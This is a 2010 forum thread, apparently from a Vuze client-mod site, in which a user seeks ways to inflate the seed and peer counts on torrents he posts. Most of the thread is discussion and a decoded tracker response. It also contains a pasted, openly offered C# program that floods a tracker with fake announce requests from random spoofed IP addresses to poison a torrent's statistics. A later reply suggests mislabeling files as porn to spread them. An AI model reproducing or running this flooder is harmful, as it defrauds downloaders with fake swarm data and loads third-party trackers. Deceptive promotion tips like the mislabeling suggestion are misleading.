Inflating the number of peers on a torrent?

**anon** · 12.04.10, 14:42

Originally Posted by cmouse35

So changing tracker config file is out of question, maybe in future version of Vuze Mod, this function/feature will be allowed if you are running your own Vuze tracker.

Maybe as part of the Extreme Mod if one of our coders adds it, yes - but just for the record you'll never see it in the official client for obvious reasons.

However, if you have some degree of coding knowledge, look for the MediaDefender leaked source code - it has some tools you may find useful if you can get to compile them (I think I've already mentioned this in the past).

**cmouse35** · 12.04.10, 18:58

Originally Posted by anon

Maybe as part of the Extreme Mod if one of our coders adds it, yes - but just for the record you'll never see it in the official client for obvious reasons.

However, if you have some degree of coding knowledge, look for the MediaDefender leaked source code - it has some tools you may find useful if you can get to compile them (I think I've already mentioned this in the past).

Sorry, if I could code, I would have done that & released it to the public... the max I can do is scripting & perl.

Since this is the homesite of Extreme mod, where do I put this request for coders to consider in next release?

Thanks

**anon** · 12.04.10, 19:37

Originally Posted by cmouse35

Since this is the homesite of Extreme mod, where do I put this request for coders to consider in next release?

You can make a new thread in the BT Talk section if you aren't sure they've seen your posts here already.

**cmouse35** · 12.04.10, 21:04

OK, here is a DATA capture between tracker & vuze client...

Code:

bittorrent.protocol.name.length == 19
bittorrent.protocol.name == "BitTorrent protocol"
bittorrent.reserved == 80:00:00:00:00:13:00:00
bittorrent.info_hash == b9:a3:95:2a:b9:0d:8b:db:62:6c:6d:ba:43:70:51:97:70:42:f9:2e
bittorrent.peer_id == 2d:41:5a:34:33:30:34:2d:45:50:75:6a:31:75:58:35:50:6b:38:36


GET /scrape?info_hash=%1B%C8%BE%DC%3A%DBl%185MT%93%3FjY%A0%FDN%A0%98 HTTP/1.1
User-Agent: Azureus 4.3.0.4;Windows XP;Java 1.6.0_19
Accept-Encoding: gzip
Connection: close
Host: inferno.demonoid.com:3394
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

HTTP/1.0 200 OK
d5:filesd20:....:.l.5MT.?jY..N..d8:completei625e10:downloadedi1358e10:incompletei1099eee5:flagsd20:min_request_intervali7200eee


can anyone decode the last part which is the data send by tracker to me. If any hack possible it would be this data... 
"   d5:filesd20:....:.l.5MT.?jY..N..d8:completei625e10:downloadedi1358e10:incompletei1099eee5:flagsd20:min_request_intervali7200eee

"

all Exterme Mod would have to do is modify this data on the fly when Vuze acts as tracker & sends out tracking info.

This data seems very similar to the one found in tracker.config file of Vuze when it host a torrent.

**anon** · 12.04.10, 21:09

Code:

d8:completei625e10:downloadedi1358e10:incompletei1099eee5:flagsd20:min_request_intervali7200eee

Number of snatches, current amount of seeders and leechers, flags(?) and the minimum announce interval.

It's indeed the data that's stored inside the config file. Perhaps I'm wrong and you can use Bencode Editor to change the numbers, but I doubt it.

**cmouse35** · 13.04.10, 01:13

You were right earlier, tracker.config file handles only...

date added
hash
passive (what ever that means)
persistent

Stats->
announces
Byte in/out
completed
downloaded
scraps
uploaded

status

The stuff in RED can be changed & Vuze tracker restarted... it will start with new values you use.

So from all this it seems a team effort by both tracker file & tracker software

so back to where we started... Vuze software tracker part stores seeds & peers info in the memory, I don't think that is written anywhere as file.

so only way I see to fake peers/seeds is to Extreme Mod the tracker software of Vuze.

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Here is a C++ code to fake peers & seeds... NOT my work!

Code:

/*
*
* This C# code sends hundreds of announce requests per minute.
*
* I know you C fanboys are pulling you hair out right now, but I don’t care. C# is the win, bitches.
*
*/
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Threading;

namespace SeedFucker
{
class Program
{
static void Main(string[] args)
{
// create a thread pool with 5 threads
List<Thread> tp = new List<Thread>();
for (int i = 0; i < 5; i++)
{
tp.Add(new Thread(TorrentThread));
tp[i].Start();
Thread.Sleep(10);
}
while (true)
{
Thread.Sleep(50);
}
}

static void TorrentThread()
{
// create a web client with a “no cache” policy
WebClient wc = new WebClient();
wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cac he.RequestCacheLevel.BypassCache);

// the infohash of the torrent we want to poison
string hash = “1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1″;

// encode the hash
string hashEncoded = “”;
for (int i = 0; i < 20; i++)
{
hashEncoded += “%” + hash[i * 2] + hash[(i * 2) + 1];
}

// enter the main loop
while (true)
{
// generate a random IP address
string ip = GenerateIP();
// create a timestamp for display purposes
string time = “[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2, '0') + "] “;

// if completed == true then we’re pretending to be a seed. otherwise pretend to be a peer
bool completed = (RNG.Next(0, 3) == 0);
string torrentEvent = (completed ? “completed” : “started”);
// pick a random size
int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
// create the url – change the announce url to whatever your particular torrent is using
string url = “http://tracker.example.com/announce?info_hash=” + hashEncoded + “&peer_id=” + RNG.Next(1000000, 9999999).ToString() + RNG.Next(100000, 999999).ToString() + RNG.Next(1000000, 9999999).ToString() + “&port=” + RNG.Next(5000, 32000).ToString() + “&uploaded=0&downloaded=0&left=” + left.ToString() + “&event=” + torrentEvent + “&numwant=5&ip=” + ip;
// attempt the announce
try
{
wc.DownloadData(url);
Console.WriteLine(time + “Sent tracker request: ” + (completed ? “Seed” : “Peer”) + ” [" + ip + "]“);
}
catch
{
}
}
}

static string GenerateIP()
{
// generate an IP in the range [50-220].[10-100].[1-255].[1-255]
return RNG.Next(50, 220).ToString() + “.” + RNG.Next(10, 100).ToString() + “.” + RNG.Next(1, 255).ToString() + “.” + RNG.Next(1, 255).ToString();
}
}

class RNG
{
private static Random _rng = new Random();

public static int Next(int min, int max)
{
return _rng.Next(min, max);
}
}
}

**saebrtooth** · 13.04.10, 02:23

@cmouse35, do u mnd sharing with us what ur intentions are after havng successfully spoofing inflated peers on ur own tracker using Vuze?

**cmouse35** · 13.04.10, 03:33

Originally Posted by saebrtooth

@cmouse35, do u mnd sharing with us what ur intentions are after havng successfully spoofing inflated peers on ur own tracker using Vuze?

It's already been answered many times... even in this thread

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Originally Posted by saebrtooth

@cmouse35, do u mnd sharing with us what ur intentions are after havng successfully spoofing inflated peers on ur own tracker using Vuze?

Oh btw... it also includes my evil plan of taking over the world

**saebrtooth** · 13.04.10, 03:48

Originally Posted by cmouse35

if you are running your own tracker in Vuze, I should be able to manipulate the data as needed. As I do not have control over open tracker so no point of talking about it.

sory the reason why I ask is because I find nt much benefit in it unless a user is searching for the same torrent ur wanting to inflate thru a web crawler recording ur tracker stats as I said before.

Do u have any others?

**cmouse35** · 13.04.10, 04:52

Hi, I am not try to inflate other torrents, only mine which are posted on sites. Trust me, it works just need a way to tweak so I can control # of seeds/peers.

Thanks

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btw, are you from Extreme Mod team for Vuze?

**saebrtooth** · 13.04.10, 05:05

Originally Posted by cmouse35

Hi, I am not try to inflate other torrents, only mine which are posted on sites. Trust me, it works just need a way to tweak so I can control # of seeds/peers.

Thanks

Im not saying what ur doing is a bad thing Im just inquisitive as to what ends this exercise will bring apart from what I have mentined.

Originally Posted by cmouse35

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btw, are you from Extreme Mod team for Vuze?

These members have "Coder" below their name

**cmouse35** · 13.04.10, 05:42

I personally after downloading & installing Extreme Mod for Vuze did not enabled Fake Upload feature as I believe in sharing, so I at least share upto 100% of what I have downloaded. But I wanted this feature to promote my own freeware etc, this seems to be the best way to do it. Since not have bigger name like Microsoft which people will download torrent anyway, this seems to be the best way to promote w/o big name.

**saebrtooth** · 13.04.10, 06:18

That is a very nice of u

U might also want to try emule too to promo ur stuff, a good and descriptive name is always helpful and adding 'porn' to another copies's filename always get it out faster.

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Although keep in mind the latter method might tick people off

**anon** · 13.04.10, 14:18

Originally Posted by cmouse35

But I wanted this feature to promote my own freeware etc, this seems to be the best way to do it. Since not have bigger name like Microsoft which people will download torrent anyway, this seems to be the best way to promote w/o big name.

Bear in mind big amounts of seeders may cause people to hit and run in your torrents, thinking it's OK since they're well-seeded (while they aren't).